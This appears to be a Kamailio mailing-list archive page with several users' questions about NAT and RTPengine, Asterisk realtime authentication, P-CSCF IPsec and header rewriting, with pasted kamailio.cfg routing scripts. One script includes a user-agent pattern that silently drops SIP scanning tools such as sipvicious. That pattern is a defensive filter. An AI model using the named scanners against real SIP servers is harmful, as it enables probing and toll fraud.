by gcampos＠momenta.network 06 Jun '25

06 Jun '25

Hi community, I'm not sure if anyone has ever tried that before, but I'm trying to run Kamailio in AWS with RTPengine. I successfully installed both Kamailio and RTPengine on my EC2 instance and I'm able to make my devices register to it. However, when I make a call from one of my devices, the call is muted. As I analyze my kamailio.cfg file, I see that the "route[NATMANAGE]" is likely the cause of the mute call. I think that none of the conditions below are met, therefore, the flags are not set. Because of that, the last condition is met, thus triggering the "return" and exiting from the route[NATMANAGE] prematurely without even reaching the section where I define the RTPengine modifications. Not only that, but if I remove/comment out the "return", then the RTPengine is triggered, but there call doesn't connect. I wonder why this is happening and if there's any known workaround. # RTP relaying management and signaling updates for NAT traversal route[NATMANAGE] { xlog("L_INFO", "NATMANAGE path was followed\n"); #!ifdef WITH_NAT xlog("L_INFO", "WITH_NAT Triggered\n"); if (is_request()) { xlog("L_INFO", "is_request path was followed\n"); if (has_totag()) { xlog("L_INFO", "has_totag path was followed\n"); if (check_route_param("nat=yes")) { xlog("L_INFO", "nat=yes param detected, setting FLB_NATB\n"); setbflag(FLB_NATB); } } if (nat_uac_test("3")) { xlog("L_INFO", "nat_uac_test(3) matched, setting FLT_NATS + FLB_NATB\n"); setflag(FLT_NATS); setbflag(FLB_NATB); } } if (!(isflagset(FLT_NATS) || isbflagset(FLB_NATB))) { xlog("L_INFO", "No NAT flags set, skipping NAT handling\n"); return; } #!ifdef WITH_RTPENGINE xlog("L_INFO", "WITH_RTPENGINE Path followed\n"); if (has_body("application/sdp")) { if (is_method("INVITE")) { xlog("L_INFO", "IS_METHOD_INVITE Path Followed\n"); rtpengine_manage("replace-origin replace-session-connection trust-address direction=internal"); } else if (is_reply()) { xlog("L_INFO", "IS_Reply Path Followed\n"); rtpengine_manage("replace-origin replace-session-connection trust-address direction=internal"); } } #!else if(nat_uac_test("8")) { rtpproxy_manage("co"); } else { rtpproxy_manage("cor"); } #!endif if (is_request()) { if (!has_totag()) { if(t_is_branch_route()) { add_rr_param(";nat=yes"); } } } if (is_reply()) { if(isbflagset(FLB_NATB)) { if(is_first_hop()) set_contact_alias(); } } if(isbflagset(FLB_NATB)) { # no connect message in a dialog involving NAT traversal if (is_request()) { if(has_totag()) { set_forward_no_connect(); } } } #!endif return; }

3 4

Kamailio Asterisk Realtime integration
by cedric＠mrtn.ovh 06 Jun '25

06 Jun '25

Hello, I'm trying to use Kamailio as proxy for Asterisk. I follow this tutorial https://kb.asipto.com/asterisk:realtime:kamailio-4.0.x-asterisk-11.3.0-astdb I maked some updates to replace old libs and old elements related to db table and fields to use the pjsip table (ps_auths) and fields (username, password). I configured Asterisk Realtime by following the Asterisk documentation (extconfig.conf, sorcery.conf, rec_odbc.conf etc...). I'm lock at this step : The registering is handle correctly by Kamailio and forwarded to Asterisk, but asterisk respond with a "401" error and want to get a digest auth... Bellow, my kamailio config file: ``` #!KAMAILIO #!define WITH_MYSQL #!define WITH_AUTH #!define WITH_USRLOCDB #!define WITH_ASTERISK #!define WITH_NAT #!define WITH_DEBUG # # Kamailio (OpenSER) SIP Server v4.0 - default configuration script # - web: http://www.kamailio.org # - git: http://sip-router.org # # Direct your questions about this file to: <sr-users(a)lists.sip-router.org> # # Refer to the Core CookBook at http://www.kamailio.org/dokuwiki/doku.php # for an explanation of possible statements, functions and parameters. # # Several features can be enabled using '#!define WITH_FEATURE' directives: # # *** To run in debug mode: # - define WITH_DEBUG # # *** To enable mysql: # - define WITH_MYSQL # # *** To enable authentication execute: # - enable mysql # - define WITH_AUTH # - add users using 'kamctl' # # *** To enable IP authentication execute: # - enable mysql # - enable authentication # - define WITH_IPAUTH # - add IP addresses with group id '1' to 'address' table # # *** To enable persistent user location execute: # - enable mysql # - define WITH_USRLOCDB # # *** To enable presence server execute: # - enable mysql # - define WITH_PRESENCE # # *** To enable nat traversal execute: # - define WITH_NAT # - install RTPProxy: http://www.rtpproxy.org # - start RTPProxy: # rtpproxy -l _your_public_ip_ -s udp:localhost:7722 # # *** To enable PSTN gateway routing execute: # - define WITH_PSTN # - set the value of pstn.gw_ip # - check route[PSTN] for regexp routing condition # # *** To enable database aliases lookup execute: # - enable mysql # - define WITH_ALIASDB # # *** To enable speed dial lookup execute: # - enable mysql # - define WITH_SPEEDDIAL # # *** To enable multi-domain support execute: # - enable mysql # - define WITH_MULTIDOMAIN # # *** To enable TLS support execute: # - adjust CFGDIR/tls.cfg as needed # - define WITH_TLS # # *** To enable XMLRPC support execute: # - define WITH_XMLRPC # - adjust route[XMLRPC] for access policy # # *** To enable anti-flood detection execute: # - adjust pike and htable=>ipban settings as needed (default is # block if more than 16 requests in 2 seconds and ban for 300 seconds) # - define WITH_ANTIFLOOD # # *** To block 3XX redirect replies execute: # - define WITH_BLOCK3XX # # *** To enable VoiceMail routing execute: # - define WITH_VOICEMAIL # - set the value of voicemail.srv_ip # - adjust the value of voicemail.srv_port # # *** To enhance accounting execute: # - enable mysql # - define WITH_ACCDB # - add following columns to database #!ifdef ACCDB_COMMENT ALTER TABLE acc ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN src_ip varchar(64) NOT NULL default ''; ALTER TABLE acc ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE acc ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_domain VARCHAR(128) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN src_ip varchar(64) NOT NULL default ''; ALTER TABLE missed_calls ADD COLUMN dst_ouser VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_user VARCHAR(64) NOT NULL DEFAULT ''; ALTER TABLE missed_calls ADD COLUMN dst_domain VARCHAR(128) NOT NULL DEFAULT ''; #!endif ####### Defined Values ######### # *** Value defines - IDs used later in config #!ifdef WITH_MYSQL # - database URL - used to connect to database server by modules such # as: auth_db, acc, usrloc, a.s.o. #!define DBURL "mysql://kamailio:kamailiorw@localhost/kamailio" #!ifdef WITH_ASTERISK #!define DBASTURL "mysql://asterisk:asterisk_password@localhost/asterisk" #!endif #!endif #!ifdef WITH_MULTIDOMAIN # - the value for 'use_domain' parameters #!define MULTIDOMAIN 1 #!else #!define MULTIDOMAIN 0 #!endif # - flags # FLT_ - per transaction (message) flags # FLB_ - per branch flags #!define FLT_ACC 1 #!define FLT_ACCMISSED 2 #!define FLT_ACCFAILED 3 #!define FLT_NATS 5 #!define FLB_NATB 6 #!define FLB_NATSIPPING 7 ####### Global Parameters ######### #!ifdef WITH_DEBUG debug=4 log_stderror=yes #!else debug=2 log_stderror=no #!endif memdbg=5 memlog=5 log_facility=LOG_LOCAL0 fork=yes children=4 /* uncomment the next line to disable TCP (default on) */ #disable_tcp=yes /* uncomment the next line to disable the auto discovery of local aliases based on reverse DNS on IPs (default on) */ #auto_aliases=no /* add local domain aliases */ #alias="sip.mydomain.com" /* uncomment and configure the following line if you want Kamailio to bind on a specific interface/port/proto (default bind on all available) */ listen=udp:192.168.1.2:5060 /* port to listen to * - can be specified more than once if needed to listen on many ports */ port=5060 #!ifdef WITH_TLS enable_tls=yes #!endif # life time of TCP connection when there is no traffic # - a bit higher than registration expires to cope with UA behind NAT tcp_connection_lifetime=3605 ####### Custom Parameters ######### # These parameters can be modified runtime via RPC interface # - see the documentation of 'cfg_rpc' module. # # Format: group.id = value 'desc' description # Access: $sel(cfg_get.group.id) or @cfg_get.group.id # #!ifdef WITH_PSTN # PSTN GW Routing # # - pstn.gw_ip: valid IP or hostname as string value, example: # pstn.gw_ip = "10.0.0.101" desc "My PSTN GW Address" # # - by default is empty to avoid misrouting pstn.gw_ip = "" desc "PSTN GW Address" #!endif #!ifdef WITH_VOICEMAIL # VoiceMail Routing on offline, busy or no answer # # - by default Voicemail server IP is empty to avoid misrouting voicemail.srv_ip = "" desc "VoiceMail IP Address" voicemail.srv_port = "5060" desc "VoiceMail Port" #!endif #!ifdef WITH_ASTERISK asterisk.bindip = "192.168.1.2" desc "Asterisk IP Address" asterisk.bindport = "5080" desc "Asterisk Port" kamailio.bindip = "192.168.1.2" desc "Kamailio IP Address" kamailio.bindport = "5060" desc "Kamailio Port" #!endif ####### Modules Section ######## # set paths to location of modules (to sources or installation folders) #!ifdef WITH_SRCPATH mpath="modules_k:modules" #!else #mpath="/usr/local/lib/kamailio/modules_k/:/usr/local/lib/kamailio/modules/" #!endif #!ifdef WITH_MYSQL loadmodule "db_mysql.so" #!endif loadmodule "kex.so" loadmodule "tm.so" loadmodule "tmx.so" loadmodule "sl.so" loadmodule "rr.so" loadmodule "pv.so" loadmodule "maxfwd.so" loadmodule "usrloc.so" loadmodule "registrar.so" loadmodule "textops.so" loadmodule "siputils.so" loadmodule "xlog.so" loadmodule "sanity.so" loadmodule "ctl.so" loadmodule "cfg_rpc.so" loadmodule "acc.so" loadmodule "jsonrpcs.so" #!ifdef WITH_AUTH loadmodule "auth.so" loadmodule "auth_db.so" #!ifdef WITH_IPAUTH loadmodule "permissions.so" #!endif #!endif #!ifdef WITH_ALIASDB loadmodule "alias_db.so" #!endif #!ifdef WITH_SPEEDDIAL loadmodule "speeddial.so" #!endif #!ifdef WITH_MULTIDOMAIN loadmodule "domain.so" #!endif #!ifdef WITH_PRESENCE loadmodule "presence.so" loadmodule "presence_xml.so" #!endif #!ifdef WITH_NAT loadmodule "nathelper.so" loadmodule "rtpproxy.so" #!endif #!ifdef WITH_TLS loadmodule "tls.so" #!endif #!ifdef WITH_ANTIFLOOD loadmodule "htable.so" loadmodule "pike.so" #!endif #!ifdef WITH_XMLRPC loadmodule "xmlrpc.so" #!endif #!ifdef WITH_DEBUG loadmodule "debugger.so" #!endif #!ifdef WITH_ASTERISK loadmodule "uac.so" #!endif # ----------------- setting module-specific parameters --------------- # ----- jsonrpcs fifo params ----- modparam("jsonrpcs", "fifo_name", "/run/kamailio/kamailio_rpc.fifo") # ----- tm params ----- # auto-discard branches from previous serial forking leg modparam("tm", "failure_reply_mode", 3) # default retransmission timeout: 30sec modparam("tm", "fr_timer", 30000) # default invite retransmission timeout after 1xx: 120sec modparam("tm", "fr_inv_timer", 120000) # ----- rr params ----- # add value to ;lr param to cope with most of the UAs modparam("rr", "enable_full_lr", 1) # do not append from tag to the RR (no need for this script) #!ifdef WITH_ASTERISK modparam("rr", "append_fromtag", 1) #!else modparam("rr", "append_fromtag", 0) #!endif # ----- registrar params ----- modparam("registrar", "method_filtering", 1) /* uncomment the next line to disable parallel forking via location */ # modparam("registrar", "append_branches", 0) /* uncomment the next line not to allow more than 10 contacts per AOR */ #modparam("registrar", "max_contacts", 10) # max value for expires of registrations modparam("registrar", "max_expires", 3600) # set it to 1 to enable GRUU modparam("registrar", "gruu_enabled", 0) # ----- acc params ----- /* what special events should be accounted ? */ modparam("acc", "early_media", 0) modparam("acc", "report_ack", 0) modparam("acc", "report_cancels", 0) /* by default ww do not adjust the direct of the sequential requests. if you enable this parameter, be sure the enable "append_fromtag" in "rr" module */ modparam("acc", "detect_direction", 0) /* account triggers (flags) */ modparam("acc", "log_flag", FLT_ACC) modparam("acc", "log_missed_flag", FLT_ACCMISSED) modparam("acc", "log_extra", "src_user=$fU;src_domain=$fd;src_ip=$si;" "dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") modparam("acc", "failed_transaction_flag", FLT_ACCFAILED) /* enhanced DB accounting */ #!ifdef WITH_ACCDB modparam("acc", "db_flag", FLT_ACC) modparam("acc", "db_missed_flag", FLT_ACCMISSED) modparam("acc", "db_url", DBURL) modparam("acc", "db_extra", "src_user=$fU;src_domain=$fd;src_ip=$si;" "dst_ouser=$tU;dst_user=$rU;dst_domain=$rd") #!endif # ----- usrloc params ----- /* enable DB persistency for location entries */ #!ifdef WITH_USRLOCDB modparam("usrloc", "db_url", DBURL) modparam("usrloc", "db_mode", 2) modparam("usrloc", "use_domain", MULTIDOMAIN) #!endif # ----- auth_db params ----- #!ifdef WITH_AUTH modparam("auth_db", "calculate_ha1", yes) modparam("auth_db", "load_credentials", "") #!ifdef WITH_ASTERISK modparam("auth_db", "user_column", "username") modparam("auth_db", "password_column", "password") modparam("auth_db", "db_url", DBASTURL) modparam("auth_db", "version_table", 0) #!else modparam("auth_db", "db_url", DBURL) modparam("auth_db", "password_column", "password") modparam("auth_db", "use_domain", MULTIDOMAIN) #!endif # ----- permissions params ----- #!ifdef WITH_IPAUTH modparam("permissions", "db_url", DBURL) modparam("permissions", "db_mode", 1) #!endif #!endif # ----- alias_db params ----- #!ifdef WITH_ALIASDB modparam("alias_db", "db_url", DBURL) modparam("alias_db", "use_domain", MULTIDOMAIN) #!endif # ----- speedial params ----- #!ifdef WITH_SPEEDDIAL modparam("speeddial", "db_url", DBURL) modparam("speeddial", "use_domain", MULTIDOMAIN) #!endif # ----- domain params ----- #!ifdef WITH_MULTIDOMAIN modparam("domain", "db_url", DBURL) # register callback to match myself condition with domains list modparam("domain", "register_myself", 1) #!endif #!ifdef WITH_PRESENCE # ----- presence params ----- modparam("presence", "db_url", DBURL) # ----- presence_xml params ----- modparam("presence_xml", "db_url", DBURL) modparam("presence_xml", "force_active", 1) #!endif #!ifdef WITH_NAT # ----- rtpproxy params ----- modparam("rtpproxy", "rtpproxy_sock", "udp:127.0.0.1:22222") # ----- nathelper params ----- modparam("nathelper", "natping_interval", 30) modparam("nathelper", "ping_nated_only", 1) modparam("nathelper", "sipping_bflag", FLB_NATSIPPING) modparam("nathelper", "sipping_from", "sip:pinger@kamailio.org") # params needed for NAT traversal in other modules modparam("nathelper|registrar", "received_avp", "$avp(RECEIVED)") modparam("usrloc", "nat_bflag", FLB_NATB) #!endif #!ifdef WITH_TLS # ----- tls params ----- modparam("tls", "config", "/usr/local/etc/kamailio/tls.cfg") #!endif #!ifdef WITH_ANTIFLOOD # ----- pike params ----- modparam("pike", "sampling_time_unit", 2) modparam("pike", "reqs_density_per_unit", 16) modparam("pike", "remove_latency", 4) # ----- htable params ----- # ip ban htable with autoexpire after 5 minutes modparam("htable", "htable", "ipban=>size=8;autoexpire=300;") #!endif #!ifdef WITH_XMLRPC # ----- xmlrpc params ----- modparam("xmlrpc", "route", "XMLRPC"); modparam("xmlrpc", "url_match", "^/RPC") #!endif #!ifdef WITH_DEBUG # ----- debugger params ----- modparam("debugger", "cfgtrace", 1) #!endif ####### Routing Logic ######## # Main SIP request routing logic # - processing of any incoming SIP request starts with this route # - note: this is the same as route { ... } request_route { # per request initial checks route(REQINIT); # NAT detection route(NATDETECT); # handle requests within SIP dialogs route(WITHINDLG); ### only initial requests (no To tag) # CANCEL processing if (is_method("CANCEL")) { if (t_check_trans()) t_relay(); exit; } t_check_trans(); # authentication route(AUTH); # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) record_route(); # account only INVITEs if (is_method("INVITE")) { setflag(FLT_ACC); # do accounting } # dispatch requests to foreign domains route(SIPOUT); ### requests for my local domains # handle presence related requests route(PRESENCE); # handle registrations route(REGISTRAR); if ($rU==$null) { # request with no Username in RURI sl_send_reply("484","Address Incomplete"); exit; } # dispatch destinations to PSTN route(PSTN); # user location service route(LOCATION); route(RELAY); } route[RELAY] { # enable additional event routes for forwarded requests # - serial forking, RTP relaying handling, a.s.o. if (is_method("INVITE|SUBSCRIBE")) { t_on_branch("MANAGE_BRANCH"); t_on_reply("MANAGE_REPLY"); } if (is_method("INVITE")) { t_on_failure("MANAGE_FAILURE"); } if (!t_relay()) { sl_reply_error(); } exit; } # Per SIP request initial checks route[REQINIT] { #!ifdef WITH_ANTIFLOOD # flood dection from same IP and traffic ban for a while # be sure you exclude checking trusted peers, such as pstn gateways # - local host excluded (e.g., loop to self) if(src_ip!=myself) { if($sht(ipban=>$si)!=$null) { # ip is already blocked xdbg("request from blocked IP - $rm from $fu (IP:$si:$sp)\n"); exit; } if (!pike_check_req()) { xlog("L_ALERT","ALERT: pike blocking $rm from $fu (IP:$si:$sp)\n"); $sht(ipban=>$si) = 1; exit; } } #!endif if (!mf_process_maxfwd_header("10")) { sl_send_reply("483","Too Many Hops"); exit; } if(!sanity_check("1511", "7")) { xlog("Malformed SIP message from $si:$sp\n"); exit; } } # Handle requests within SIP dialogs route[WITHINDLG] { if (has_totag()) { # sequential request withing a dialog should # take the path determined by record-routing if (loose_route()) { if (is_method("BYE")) { setflag(FLT_ACC); # do accounting ... setflag(FLT_ACCFAILED); # ... even if the transaction fails } if ( is_method("ACK") ) { # ACK is forwarded statelessy route(NATMANAGE); } route(RELAY); } else { if (is_method("SUBSCRIBE") && uri == myself) { # in-dialog subscribe requests route(PRESENCE); exit; } if ( is_method("ACK") ) { if ( t_check_trans() ) { # no loose-route, but stateful ACK; # must be an ACK after a 487 # or e.g. 404 from upstream server t_relay(); exit; } else { # ACK without matching transaction ... ignore and discard exit; } } sl_send_reply("404","Not here"); } exit; } } # Handle SIP registrations route[REGISTRAR] { if (is_method("REGISTER")) { if(isflagset(FLT_NATS)) { setbflag(FLB_NATB); # uncomment next line to do SIP NAT pinging ## setbflag(FLB_NATSIPPING); } if (!save("location")) sl_reply_error(); #!ifdef WITH_ASTERISK route(REGFWD); #!endif exit; } } # USER location service route[LOCATION] { #!ifdef WITH_SPEEDIAL # search for short dialing - 2-digit extension if($rU=~"^[0-9][0-9]$") if(sd_lookup("speed_dial")) route(SIPOUT); #!endif #!ifdef WITH_ALIASDB # search in DB-based aliases if(alias_db_lookup("dbaliases")) route(SIPOUT); #!endif #!ifdef WITH_ASTERISK if(is_method("INVITE") && (!route(FROMASTERISK))) { # if new call from out there - send to Asterisk # - non-INVITE request are routed directly by Kamailio # - traffic from Asterisk is routed also directy by Kamailio route(TOASTERISK); exit; } #!endif $avp(oexten) = $rU; if (!lookup("location")) { $var(rc) = $rc; route(TOVOICEMAIL); t_newtran(); switch ($var(rc)) { case -1: case -3: send_reply("404", "Not Found"); exit; case -2: send_reply("405", "Method Not Allowed"); exit; } } # when routing via usrloc, log the missed calls also if (is_method("INVITE")) { setflag(FLT_ACCMISSED); } } # Presence server route route[PRESENCE] { if(!is_method("PUBLISH|SUBSCRIBE")) return; #!ifdef WITH_PRESENCE if (!t_newtran()) { sl_reply_error(); exit; }; if(is_method("PUBLISH")) { handle_publish(); t_release(); } else if( is_method("SUBSCRIBE")) { handle_subscribe(); t_release(); } exit; #!endif # if presence enabled, this part will not be executed if (is_method("PUBLISH") || $rU==$null) { sl_send_reply("404", "Not here"); exit; } return; } # Authentication route route[AUTH] { # if caller is not local subscriber, then check if it calls # a local destination, otherwise deny, not an open relay here if (from_uri!=myself && uri!=myself) { sl_send_reply("403","Not relaying"); exit; } #!ifdef WITH_AUTH #!ifdef WITH_ASTERISK # do not auth traffic from Asterisk - trusted! if(route(FROMASTERISK)) return; #!endif #!ifdef WITH_IPAUTH if((!is_method("REGISTER")) && allow_source_address()) { # source IP allowed return; } #!endif if (is_method("REGISTER") || from_uri==myself) { # authenticate requests #!ifdef WITH_ASTERISK if (!auth_check("$fd", "ps_auths", "1")) { #!else if (!auth_check("$fd", "subscriber", "1")) { #!endif auth_challenge("$fd", "0"); exit; } # user authenticated - remove auth header if(!is_method("REGISTER|PUBLISH")) consume_credentials(); } #!endif return; } # Caller NAT detection route route[NATDETECT] { #!ifdef WITH_NAT force_rport(); if (nat_uac_test("19")) { if (is_method("REGISTER")) { fix_nated_register(); } else { fix_nated_contact(); } setflag(FLT_NATS); } #!endif return; } # RTPProxy control route[NATMANAGE] { #!ifdef WITH_NAT if (is_request()) { if(has_totag()) { if(check_route_param("nat=yes")) { setbflag(FLB_NATB); } } } if (!(isflagset(FLT_NATS) || isbflagset(FLB_NATB))) return; rtpproxy_manage(); if (is_request()) { if (!has_totag()) { add_rr_param(";nat=yes"); } } if (is_reply()) { if(isbflagset(FLB_NATB)) { fix_nated_contact(); } } #!endif return; } # Routing to foreign domains route[SIPOUT] { if (!uri==myself) { append_hf("P-hint: outbound\r\n"); route(RELAY); } } # PSTN GW routing route[PSTN] { #!ifdef WITH_PSTN # check if PSTN GW IP is defined if (strempty($sel(cfg_get.pstn.gw_ip))) { xlog("SCRIPT: PSTN rotuing enabled but pstn.gw_ip not defined\n"); return; } # route to PSTN dialed numbers starting with '+' or '00' # (international format) # - update the condition to match your dialing rules for PSTN routing if(!($rU=~"^(\+|00)[1-9][0-9]{3,20}$")) return; # only local users allowed to call if(from_uri!=myself) { sl_send_reply("403", "Not Allowed"); exit; } $ru = "sip:" + $rU + "@" + $sel(cfg_get.pstn.gw_ip); route(RELAY); exit; #!endif return; } # XMLRPC routing #!ifdef WITH_XMLRPC route[XMLRPC] { # allow XMLRPC from localhost if ((method=="POST" || method=="GET") && (src_ip==127.0.0.1)) { # close connection only for xmlrpclib user agents (there is a bug in # xmlrpclib: it waits for EOF before interpreting the response). if ($hdr(User-Agent) =~ "xmlrpclib") set_reply_close(); set_reply_no_connect(); dispatch_rpc(); exit; } send_reply("403", "Forbidden"); exit; } #!endif # route to voicemail server route[TOVOICEMAIL] { #!ifdef WITH_VOICEMAIL if(!is_method("INVITE")) return; # check if VoiceMail server IP is defined if (strempty($sel(cfg_get.voicemail.srv_ip))) { xlog("SCRIPT: VoiceMail rotuing enabled but IP not defined\n"); return; } if($avp(oexten)==$null) return; $ru = "sip:" + $avp(oexten) + "@" + $sel(cfg_get.voicemail.srv_ip) + ":" + $sel(cfg_get.voicemail.srv_port); route(RELAY); exit; #!endif return; } # manage outgoing branches branch_route[MANAGE_BRANCH] { xdbg("new branch [$T_branch_idx] to $ru\n"); route(NATMANAGE); } # manage incoming replies onreply_route[MANAGE_REPLY] { xdbg("incoming reply\n"); if(status=~"[12][0-9][0-9]") route(NATMANAGE); } # manage failure routing cases failure_route[MANAGE_FAILURE] { route(NATMANAGE); if (t_is_canceled()) { exit; } #!ifdef WITH_BLOCK3XX # block call redirect based on 3xx replies. if (t_check_status("3[0-9][0-9]")) { t_reply("404","Not found"); exit; } #!endif #!ifdef WITH_VOICEMAIL # serial forking # - route to voicemail on busy or no answer (timeout) if (t_check_status("486|408")) { route(TOVOICEMAIL); exit; } #!endif } #!ifdef WITH_ASTERISK # Test if coming from Asterisk route[FROMASTERISK] { if($si==$sel(cfg_get.asterisk.bindip) && $sp==$sel(cfg_get.asterisk.bindport)) return 1; return -1; } # Send to Asterisk route[TOASTERISK] { $du = "sip:" + $sel(cfg_get.asterisk.bindip) + ":" + $sel(cfg_get.asterisk.bindport); route(RELAY); exit; } # Forward REGISTER to Asterisk route[REGFWD] { if(!is_method("REGISTER")) { return; } $var(rip) = $sel(cfg_get.asterisk.bindip); $uac_req(method)="REGISTER"; $uac_req(ruri)="sip:" + $var(rip) + ":" + $sel(cfg_get.asterisk.bindport); $uac_req(furi)="sip:" + $au + "@" + $var(rip); $uac_req(turi)="sip:" + $au + "@" + $var(rip); $uac_req(hdrs)="Contact: <sip:" + $au + "@" + $sel(cfg_get.kamailio.bindip) + ":" + $sel(cfg_get.kamailio.bindport) + ">\r\n"; if($sel(contact.expires) != $null) $uac_req(hdrs)= $uac_req(hdrs) + "Expires: " + $sel(contact.expires) + "\r\n"; else $uac_req(hdrs)= $uac_req(hdrs) + "Expires: " + $hdr(Expires) + "\r\n"; uac_req_send(); } #!endif ``` Also, I'm not sure about the configuration to add into asterisk, like a kamailio registration block or endpoint block, and... probably others... Thanks to help. Flywall.

2 1

Disable IPSec in Kamailio PCSCF
by Navjyoty Singh 05 Jun '25

05 Jun '25

Hi, I'm working on a custom IMS deployment using the pcscf module in Kamailio. For our setup, we do not want Kamailio to handle IPsec or generate Security-Server headers in 401/407 responses. Is there a clean way to disable IPsec functionality entirely in the pcscf module? Specifically, I would like to: Prevent the module from requiring IPsec setup during UE registration Avoid any modification of SIP messages related to IPsec (e.g., removing Security-Verify, Security-Client, or Security-Server headers) Use only TLS or UDP without IPsec involvement Has anyone achieved this via configuration or by disabling specific features? Any guidance or examples would be greatly appreciated. *Regards,Navjyoty*

2 1

Replace ip address of source
by disa_369＠msn.com 05 Jun '25

05 Jun '25

Hello to everyone. I deployed Kamailio on Debian system. Install was successfull. I have the task to use Kamailio as proxy between Avaya PBX and Videoconference System. Outgoing calls only from IPPhone ----- Avaya PBX ---sip----> Kamailio -----sip----> Video System-IVR IVR number is 3000. Avaya Prefix for routing to Kamailio is 1234. When we dial number 12343000 the call goes to Video system with Header "TO" 12343000@ip_of_PBXAvaya and call drops. How to replace ip-address of Avaya to ip-address of Video_System? What to add in kamailio.cfg? ip video_system - *.*.60.3 ip avaya *.*.20.10 My route config ####### Routing Logic ######## /* Main SIP request routing logic * - processing of any incoming SIP request starts with this route * - note: this is the same as route { ... } */ request_route { # per request initial checks route(REQINIT); # NAT detection route(NATDETECT); # CANCEL processing if (is_method("CANCEL")) { if (t_check_trans()) { route(RELAY); } exit; } # handle retransmissions if (!is_method("ACK")) { if(t_precheck_trans()) { t_check_trans(); exit; } t_check_trans(); } # handle requests within SIP dialogs route(WITHINDLG); ### only initial requests (no To tag) # authentication route(AUTH); # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) { record_route(); } # account only INVITEs if (is_method("INVITE")) { setflag(FLT_ACC); # do accounting } if ($rU==$null) { sl_send_reply("484", "Address Incomplete"); exit; } $du = "sip:*.*.60.3:5060"; route(RELAY); exit; } # Wrapper for relaying requests route[RELAY] { # enable additional event routes for forwarded requests # - serial forking, RTP relaying handling, a.s.o. if (is_method("INVITE|BYE|SUBSCRIBE|UPDATE")) { if(!t_is_set("branch_route")) t_on_branch("MANAGE_BRANCH"); } if (is_method("INVITE|SUBSCRIBE|UPDATE")) { if(!t_is_set("onreply_route")) t_on_reply("MANAGE_REPLY"); } if (is_method("INVITE")) { if(!t_is_set("failure_route")) t_on_failure("MANAGE_FAILURE"); } if (!t_relay()) { sl_reply_error(); } exit; } # Per SIP request initial checks route[REQINIT] { # no connect for sending replies set_reply_no_connect(); # enforce symmetric signaling # - send back replies to the source address of request force_rport(); #!ifdef WITH_ANTIFLOOD # flood detection from same IP and traffic ban for a while # be sure you exclude checking trusted peers, such as pstn gateways # - local host excluded (e.g., loop to self) if(src_ip!=myself) { if($sht(ipban=>$si)!=$null) { # ip is already blocked xdbg("request from blocked IP - $rm from $fu (IP:$si:$sp)\n"); exit; } if (!pike_check_req()) { xlog("L_ALERT","ALERT: pike blocking $rm from $fu (IP:$si:$sp)\n"); $sht(ipban=>$si) = 1; exit; } } #!endif if($ua =~ "friendly|scanner|sipcli|sipvicious|VaxSIPUserAgent|pplsip") { # silent drop for scanners - uncomment next line if want to reply # sl_send_reply("200", "OK"); exit; } if (!mf_process_maxfwd_header("10")) { sl_send_reply("483","Too Many Hops"); exit; } if(is_method("OPTIONS") && uri==myself && $rU==$null) { sl_send_reply("200","Keepalive"); exit; } if(!sanity_check("17895", "7")) { xlog("Malformed SIP request from $si:$sp\n"); exit; } } # Handle requests within SIP dialogs route[WITHINDLG] { if (!has_totag()) return; # sequential request withing a dialog should # take the path determined by record-routing if (loose_route()) { route(DLGURI); if (is_method("BYE")) { setflag(FLT_ACC); # do accounting ... setflag(FLT_ACCFAILED); # ... even if the transaction fails } else if ( is_method("ACK") ) { # ACK is forwarded statelessly route(NATMANAGE); } else if ( is_method("NOTIFY") ) { # Add Record-Route for in-dialog NOTIFY as per RFC 6665. record_route(); } route(RELAY); exit; } if (is_method("SUBSCRIBE") && uri == myself) { # in-dialog subscribe requests route(PRESENCE); exit; } if ( is_method("ACK") ) { if ( t_check_trans() ) { # no loose-route, but stateful ACK; # must be an ACK after a 487 # or e.g. 404 from upstream server route(RELAY); exit; } else { # ACK without matching transaction ... ignore and discard exit; } } sl_send_reply("404","Not here"); exit; } # Handle SIP registrations route[REGISTRAR] { if (!is_method("REGISTER")) return; if(isflagset(FLT_NATS)) { setbflag(FLB_NATB); #!ifdef WITH_NATSIPPING # do SIP NAT pinging setbflag(FLB_NATSIPPING); #!endif } if (!save("location")) { sl_reply_error(); } exit; } # User location service route[LOCATION] { #!ifdef WITH_SPEEDDIAL # search for short dialing - 2-digit extension if($rU=~"^[0-9][0-9]$") { if(sd_lookup("speed_dial")) { route(SIPOUT); } } #!endif #!ifdef WITH_ALIASDB # search in DB-based aliases if(alias_db_lookup("dbaliases")) { route(SIPOUT); } #!endif $avp(oexten) = $rU; if (!lookup("location")) { $var(rc) = $rc; route(TOVOICEMAIL); t_newtran(); switch ($var(rc)) { case -1: case -3: send_reply("404", "Not Found"); exit; case -2: send_reply("405", "Method Not Allowed"); exit; } } # when routing via usrloc, log the missed calls also if (is_method("INVITE")) { setflag(FLT_ACCMISSED); } route(RELAY); exit; } # Presence server processing route[PRESENCE] { if(!is_method("PUBLISH|SUBSCRIBE")) return; if(is_method("SUBSCRIBE") && $hdr(Event)=="message-summary") { route(TOVOICEMAIL); # returns here if no voicemail server is configured sl_send_reply("404", "No voicemail service"); exit; } #!ifdef WITH_PRESENCE #!ifdef WITH_MSGREBUILD # apply changes in case the request headers or body were modified msg_apply_changes(); #!endif if (!t_newtran()) { sl_reply_error(); exit; } if(is_method("PUBLISH")) { handle_publish(); t_release(); } else if(is_method("SUBSCRIBE")) { handle_subscribe(); t_release(); } exit; #!endif # if presence enabled, this part will not be executed if (is_method("PUBLISH") || $rU==$null) { sl_send_reply("404", "Not here"); exit; } return; } # IP authorization and user authentication route[AUTH] 